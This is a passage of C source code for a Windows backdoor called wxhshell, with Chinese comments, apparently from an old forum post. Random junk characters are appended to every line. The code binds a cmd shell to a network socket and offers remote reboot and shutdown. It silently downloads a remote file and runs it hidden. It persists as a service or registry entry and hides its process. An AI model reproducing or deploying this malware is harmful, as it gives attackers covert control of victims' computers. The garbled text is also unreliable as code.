    switch(cmd[0]) { v.Bwg 7R3  
  A&t8C8,  
  // 帮助 `+n#CWZ"Y  
  case '?': { 8$ _{R!x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <1*.:CL"s  
    break; \#:  W  
  } *eIX"&ba  
  // 安装 ~ O#\$u  
  case 'i': { SQ4^sk_!  
    if(Install()) z:f&k}(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  g]?pY  
    else ,5;M(ft#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `J,>#Y6(J  
    break; >:6iFPP  
    } M> WWP3  
  // 卸载 z.-yL,Rc`-  
  case 'r': { Eb4NPWo  
    if(Uninstall()) ";rXCH.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |> STb\  
    else 94#,dA,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~F'6k&A^q  
    break; m_/U  t  
    } x;u#ec4  
  // 显示 wxhshell 所在路径 r4SwvxhG  
  case 'p': { JHa1lj  
    char svExeFile[MAX_PATH]; L.'61ZU  
    strcpy(svExeFile,"\n\r"); w gS'/  
      strcat(svExeFile,ExeFile); {im?tZ,  
        send(wsh,svExeFile,strlen(svExeFile),0); V_J0I*Qa4  
    break; &!X<F,  
    } _F6<ba}o3  
  // 重启 1!MJ+?Jl  
  case 'b': { f )T\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >o1dc*  
    if(Boot(REBOOT)) #17 &rizl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :VlA2Ih&q  
    else { q"2APvsvp  
    closesocket(wsh); 1cOR?=G~  
    ExitThread(0); jSE)&K4nI  
    } $lT8M-yK\  
    break; 2.%)OC!q&5  
    } gxVr1DIkN  
  // 关机 <jV,VKL#  
  case 'd': { QNx]8r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }qECpKa0  
    if(Boot(SHUTDOWN)) 6}E>B{Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nq`;\E.M  
    else { qG;tD>jy  
    closesocket(wsh); ZcXAqep8'  
    ExitThread(0); ,:(s=J N+  
    } ZEI)U, I.  
    break; C5dM`_3L  
    } c%pf,sm'  
  // 获取shell $~FZJ@qa  
  case 's': { Hj{.{V  
    CmdShell(wsh); 8*0QVFn$  
    closesocket(wsh); hc q&`Gun  
    ExitThread(0); #b[bgxm  
    break; ]?=87w  
  } ,1mL=|na  
  // 退出 -z`%x@F<&L  
  case 'x': { uG7]s]Wdz;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $f3IO#N  
    CloseIt(wsh); <)T| HKx  
    break; ?3BcjD0  
    } >(a35 b$  
  // 离开 n3~axRPO  
  case 'q': { GoybkwFjZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /lC# !$9vz  
    closesocket(wsh); +I3Vfv  
    WSACleanup(); Q")Xg:  
    exit(1); r!Dk_| Cd  
    break; Hdew5Xn(:  
        } -yqgs>R(d  
  } A3/[9}(U  
  } gDU!dT  
*`+zf7-f  
  // 提示信息 EX_j|/&tZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LMoZI0)x  
} zr?s5RS  
  } rlKR <4H  
Y ]()v  
  return; [M[#f&=Z  
} } KyoMs  
P'8RaO&d  
// shell模块句柄 A^z{n/DiL  
int CmdShell(SOCKET sock) P  y v>  
{ v>`Fo[c  
STARTUPINFO si; 4O-LLH  
ZeroMemory(&si,sizeof(si)); [Kc?<3W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j<kW+Iio  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Uwkxc  
PROCESS_INFORMATION ProcessInfo; l3Zi]`@r  
char cmdline[]="cmd"; C%Lr3M;S'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tR>zBh_b  
  return 0; i24k ]F  
} u1X^#K$nu'  
9o>D Uc  
// 自身启动模式 CPy>sV3Ru0  
int StartFromService(void) >)M1X?HI5  
{ .@)vJtH)  
typedef struct L/rf5||@  
{ P{A})t7  
  DWORD ExitStatus; :L@ ;.s  
  DWORD PebBaseAddress; ~o_JZ:  
  DWORD AffinityMask;  'l5  
  DWORD BasePriority; &6 s&nx  
  ULONG UniqueProcessId; )$S=iL8(  
  ULONG InheritedFromUniqueProcessId; ![B|Nxq}@  
}   PROCESS_BASIC_INFORMATION; rNV3-#kU  
5c::U=  
PROCNTQSIP NtQueryInformationProcess; *90dkJZ.  
_33 b %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b_TI_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F62 uDyY  
RWR{jM]V  
  HANDLE             hProcess; 5?$MZaT  
  PROCESS_BASIC_INFORMATION pbi; _R ]s1  
&7\}S qp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wIi(\]Q  
  if(NULL == hInst ) return 0; Dazm8_x  
KE,.Evyu=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /o4e n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lkT :e)w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {*+J`H_G2a  
zn-=mk;W  
  if (!NtQueryInformationProcess) return 0; =%~- M  
m"~ddqSMT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); crv#IC2  
  if(!hProcess) return 0; .;7V]B1o  
TXi|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8/>.g.]  
:dW\Q&iW  
  CloseHandle(hProcess); LA;f,CQ  
2!-Q!c`y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [j/|)cj  
if(hProcess==NULL) return 0; >s/_B//[  
[;ZCq!)>  
HMODULE hMod; s]99'Q",  
char procName[255]; .9x* YS  
unsigned long cbNeeded; lU!_V%n  
H 0+-$s;f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -sA&1n"W&5  
O=bkq}  
  CloseHandle(hProcess); 2gO@   
_0$>LWO~  
if(strstr(procName,"services")) return 1; // 以服务启动 GY?u+|Q  
~v(c9I)  
  return 0; // 注册表启动 7u;N/@  
} 05H:ZrUV  
2+y wy^  
// 主模块 i ed 1+H  
int StartWxhshell(LPSTR lpCmdLine) >g !Z|ju  
{ b/[X8w'VP  
  SOCKET wsl; 'sZGLgT;m  
BOOL val=TRUE; -KC@M  
  int port=0; @}6<,;|DQ  
  struct sockaddr_in door; H,TApF89A  
"=DQ {(L  
  if(wscfg.ws_autoins) Install(); WwsNAJ  
1f+A_k/@  
port=atoi(lpCmdLine); ;O)*!yA(GG  
e^ N~)Nlj  
if(port<=0) port=wscfg.ws_port; #"-_~  
KH#z =_  
  WSADATA data; 5nib<B%<V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;!f~  
`r1j>F7Xb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VB905%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F#|y,<}<  
  door.sin_family = AF_INET; kO}%Y?9d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1y:fH4V  
  door.sin_port = htons(port); Fq~Zr;A  
M 0}r)@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wowf 1j-  
closesocket(wsl); Vq0X:<9  
return 1; Vfzy BjQ  
} ?<.a>"!  
$s=` {vv  
  if(listen(wsl,2) == INVALID_SOCKET) { h{7>>  
closesocket(wsl); `\(co;:  
return 1; 4~1b  
} KKk~vwW  
  Wxhshell(wsl); G.O;[(3ab  
  WSACleanup(); JJ1>)S}X-  
(L4llZ;q  
return 0; !+$QN4{9  
;5;>f)diS  
} 1.@{5f3T  
r&xIVFPI[  
// 以NT服务方式启动 O1jiD_Y!9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #m{(aa9;  
{ F^{31iU~CX  
DWORD   status = 0; zf)*W#+  
  DWORD   specificError = 0xfffffff; 4r_*: $g  
'2Zs15)V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nW]CA~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #xx.yn(7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T\.~!Q  
  serviceStatus.dwWin32ExitCode     = 0; +fY@q ,`  
  serviceStatus.dwServiceSpecificExitCode = 0; Kh4rl)L*+%  
  serviceStatus.dwCheckPoint       = 0; #@-dT,t  
  serviceStatus.dwWaitHint       = 0; $W}:,]hoj  
JcYY*p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #QsJr_=  
  if (hServiceStatusHandle==0) return; Hc8^w6S1@  
82 |^o  
status = GetLastError(); "Ia.$,k9  
  if (status!=NO_ERROR) J#H,QYnf(L  
{ Q*Jb0f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5-0&`,  
    serviceStatus.dwCheckPoint       = 0; 8fi'"  
    serviceStatus.dwWaitHint       = 0; i{N?Y0YQs0  
    serviceStatus.dwWin32ExitCode     = status; }U=}5`_]D  
    serviceStatus.dwServiceSpecificExitCode = specificError; sK W~+ ]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {9;-5@b  
    return; *6<4ECa7C  
  } ).GM 0-y  
TR*vZzoy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0J[B3JO@M  
  serviceStatus.dwCheckPoint       = 0; oMYFfnoAa  
  serviceStatus.dwWaitHint       = 0; &Oz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0?t;3 z$n  
} ye(av&Hn  
%VB4/~ "  
// 处理NT服务事件,比如:启动、停止   +fM8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7)}_'p  
{ j*gZvbO;'L  
switch(fdwControl) 5h Sd,#:  
{ \c{sG\ >  
case SERVICE_CONTROL_STOP: \H>Psv{  
  serviceStatus.dwWin32ExitCode = 0; MV3K'<Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #]^C(qmb:  
  serviceStatus.dwCheckPoint   = 0; ~G8l1dD  
  serviceStatus.dwWaitHint     = 0; s+_8U}R  
  { J*K=tA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -]}#Z:&  
  } lmUCrs37  
  return; 5`&@3 m9/  
case SERVICE_CONTROL_PAUSE: 4`o0?_.'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vq9O|E3  
  break; ~C>;0a;<:  
case SERVICE_CONTROL_CONTINUE: `K@N\VM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lxZ9y  
  break; I AUc.VH  
case SERVICE_CONTROL_INTERROGATE: wAu]U6!  
  break; }+S~Ah?(  
}; *!%n`BR '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T1RY1hb|g>  
} 9MJ:]F5+  
.K-d  
// 标准应用程序主函数 9 4bDJy1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1NZpd'$c  
{ L~h:>I+pG  
x]hG2on!  
// 获取操作系统版本 T>*G1-J#  
OsIsNt=GetOsVer(); <2 kv/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O5:U2o-  
'S74Ys=-0  
  // 从命令行安装 Nf* .r  
  if(strpbrk(lpCmdLine,"iI")) Install(); CD#U`jf  
F@ pf._c  
  // 下载执行文件 K&{ _s  
if(wscfg.ws_downexe) { Lwm /[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "ivVIq2  
  WinExec(wscfg.ws_filenam,SW_HIDE); j p}.W  
} ldU ><xc2  
=^Ws/k  
if(!OsIsNt) { (7,Q4T  
// 如果时win9x,隐藏进程并且设置为注册表启动 c3rj :QK6I  
HideProc(); -sf[o"T,j  
StartWxhshell(lpCmdLine); Jk`l{N  
} "g"%7jK  
else ;){ZM,Ox  
  if(StartFromService()) F#Pn]  
  // 以服务方式启动 I5[@C<b  
  StartServiceCtrlDispatcher(DispatchTable); Je"XIhBr  
else :qR8 e J  
  // 普通方式启动 dR>$vbjh1Z  
  StartWxhshell(lpCmdLine); gyy}-^`F  
j5n"LC+oz  
return 0; )BaGY  
}
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只看该作者 1 发表于: 2006-10-10
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